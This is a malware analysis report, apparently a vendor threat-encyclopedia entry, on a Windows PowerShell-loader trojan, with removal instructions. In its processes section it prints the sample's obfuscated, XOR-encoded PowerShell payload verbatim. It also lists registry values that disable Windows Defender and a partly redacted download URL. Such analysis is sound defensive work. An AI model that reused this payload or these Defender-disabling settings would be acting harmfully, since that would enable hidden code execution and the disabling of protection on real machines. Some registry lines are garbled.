Analysis by: Paul Steven Nadera
ALIASES:

a variant of Generik.JGZQRIU trojan (NOD32); Trojan.GenericKD.33348655 (Bitdefender)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 136,735 bytes
Memory Resident: No
Initial Samples Received Date: 21 Feb 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %User Temp%\{random characters}.0.cs
  • %User Temp%\{random characters}.dll
  • %User Temp%\{random characters}.cmdline
  • %User Temp%\{random characters}.pdb
  • %User Temp%\{random characters}.out
  • %User Temp%\{random characters}.err
  • %Application Data%\{random characters}.exe
  • %Application Data%\{random characters}.exe
  • %Application Data%\{random characters}\{random characters}.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • powershell -WindowStyle Hidden Yr**+-YYr**+*Yfunction y1cc67 {param($z5a414d)$u778d44='dd1d42';$l4d8ab='';for ($i=0; $i -lt $z5a414d.length;$i+=2){$aa825a=[convert]::ToByte($z5a414d.Substring($i,2),16);$l4d8ab+=[char]($aa825a -bxor $u778d44[($i/2)%$u778d44.length]);}return $l4d8ab;}Yr**+-YYr**+*Y$yde8c4c = '1117580a5312371d4210515f5f11420d5a55443748174057094a63115a460d09544a7d5c1001430b44610116470d5757175f44175d5c0344621d474601091f205d53030a5e17405b07170a11475b0a0311374d4110015c4a7d7d5f11420d5a55443748174057094a7f014009696e4111565e0d07110758531717110b52575d06551f6f7608087809445d161019465f57160a540807004648740a40401d345e0d5a46594676014062160b5225505616014217161b39444111565e0d0711174053100d5244514a1001430a147b0a1061104612155d005600534c2d5f10644616445a025156520250484746160d5f03145d0657065001504d5f6a20585e2d09410b46464c465a01465c01080256161e44215f10464b340b580a4012594413285b53002858064653161d134d6912141153085d5144174505405b0744541c4057160a112d5a4634104344400b5d52554c4746160d5f0314475d5205511d093f205d087d5f140b43101c100f01430a515e5756134814770a10431d645d0d0a455916640d164511555e34165e10515110461839144211065d0d5712171050105d514401491051400a44530b5b5e4408535c02004c2d5f10644616444107500353065048617b0a1061104612095555020c53524811115d5c1044480206510148110b41464411580a40121e5d020105564d5f6a20585e2d09410b46464c467a01465c010802561a560808134814770a10431d645d0d0a4559166010087c0b425729015c0b464b464811375146280542107140160b435952530817544d6912171050105d514401491051400a44470b5d56441e530002054c2d5f10644616445d5c520702571d2d5a46341043445057575c03485d5c10445f0700575305185f44470608580714411005450d57120d0a454457065c5702051c1b1f2d5f1064461644485c065002440c44400b5d52554c4d03070707531c105451015d0000540000050104545c015c161b4d5f58021c4b5c565302090f2d0a453440404a3e54165b1b1f035e105b121107055300565f19780a40621016111e57535053050509435d550350551a1d5c0306521e1d55520702054c460351040b505601000205515501510453535700550100515001550504464d185f5d544c1e5205000550050c597d5c103445161a6801165e4d4f550b105e444151505305000f4f312d5f106446164450535251565919317d5c103445161d075f11580a40120353545c07075259015f5d544c455d060c04564c4b07550653505048550502070348044a50541d0b4146440306010c015152184d4f550b105e444151505305000f4f261d45016f6f441d5501510302594a544c015548011c52544854495d044f5f2d5f10644616445356030657597c0546410c055d4a755e080b522c735e0b0650081c014d5f7c0546410c055d4a775d141d191d505701555748041e06560650071e574d0a1e56565253190a5145442d5f106446164c4b0755065350504a605d2d0a4552001a4d4f011c040255061848560053500248071b5f1152500306005e11335150270858015a4644065452050b00595f01431233015327585b010a454c1d091710430d5a5544030457505659215f125d400b0a5c015a464a235410725d080054166453100c19215a440d165e0a59570a101f374457070d5008725d080054161a7314145d0d5753100d5e0a70531005184f166e3817575150035651134f4d03070707531c1050050155000b5455134d0f500152005d501c200b460a585d0500770d58574c1d00075704534c13545703545004550002015555505603565107500d070051525404035550035504065251535401025c5557540307065157505602015000540703065001540502515104540d07555552540503075105461d1e03510200501b5f34430b5757171762105540102d5f025b12145550560705590a54131462160b5201474137105016407b0a025e4c53075700554d0f62160b520147414a37450546464c1400050601534d0a16514611165f44040919144406585b0744421055460d07111740400d0a56444d03070707531c411016580a53120952065307074d1f4210465b0a03110f5257005257050910000000000000465f4210465b0a0311100d0b52000c3740400d0a564a715f1410485f525d164c580a40120d59015f5d0e0952065307074a28540a53460c5f584f09004d1f531d40574415085506060559720b5a440116454a605d261d45011c5f52530657011c3711531740400d0a564c5d1e564d1d55021b5f10085d02564f5919075c53164d19150d03565050446a120f0254000254053f190d1b004d4414445f5401000702551c28015f03405a394d0a1946571011430a14465d5d07000f4f19';Yr**+-YYr**+*Y$yde8c4c2 = y1cc67($yde8c4c);Yr**+-YYr**+*YAdd-Type -TypeDefinition $yde8c4c2;Yr**+-YYr**+*Y[ofe9bd]::c4833a();Yr**+-YYr**+*YYr**+-YYr**+*YYr**+-YYr**+*Y;
  • “powershell" Get-MpPreference –verbose
  • %Application Data%\{random characters}.exe
  • "%System%\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Yr**+-YYr**+*Y
  • "%Windows%\Microsoft.NET\Framework\{version}\csc.exe" /noconfig /fullpaths @"%User Temp%\iy26wnze.cmdline"
  • %Windows%\Microsoft.NET\Framework\{version}\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%User Temp%\RES13BF.tmp" "%User Temp%\CSC1351.tmp"
  • "%System%\schtasks.exe" /Create /TN "Updates\{random characters}" /XML "%User Temp%\tmp{hex values}.tmp"
  • "{path}"

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Autostart Technique

This Trojan creates the following registry entries to enable automatic execution of dropped component at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
{random characters} = "%Application Data%\{random characters}.exe"

Other System Modifications

This Trojan adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableBehaviorMonitoring = 1

HINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableBehaviorMonitoring = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection
DisableOnAccessProtection = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender\Real-Time Protection value
DisableScanOnRealtimeEnable = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\Windows Defender
DisableAntiSpyware = 1

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://{BLOCKED}trial.com/jpg/readme.exe

It adds the following scheduled tasks:

  • Name: {random characters}
  • Trigger: At log on
  • Action: %Application Data%\{random characters}.exe

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 15.706.04
FIRST VSAPI PATTERN DATE: 25 Feb 2020
VSAPI OPR PATTERN File: 15.707.00
VSAPI OPR PATTERN Date: 26 Feb 2020

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

     
    • Downloader.VBA.TRX.XXVBAF01FF006

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Restart in Safe Mode

[ Learn More ]

Step 5

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • {random characters} = "%Application Data%\{random characters}\{random characters}.exe”

Step 6

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • {random characters} - %Application Data%\{random characters}.exe

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 7

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User temp%\{random characters}.cs%User Temp%\{random characters}.0.cs
  • %User Temp%\{random characters}.dll
  • %User Temp%\{random characters}.cmdline
  • %User Temp%\{random characters}.pdb
  • %User Temp%\{random characters}.out
  • %User Temp%\{random characters}.err
  • %Application Data%\{random characters}.exe
  • %Application Data%\{random characters}\{random characters}.exe

Step 8

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.W97M.POWLOAD.TIOIBEKA. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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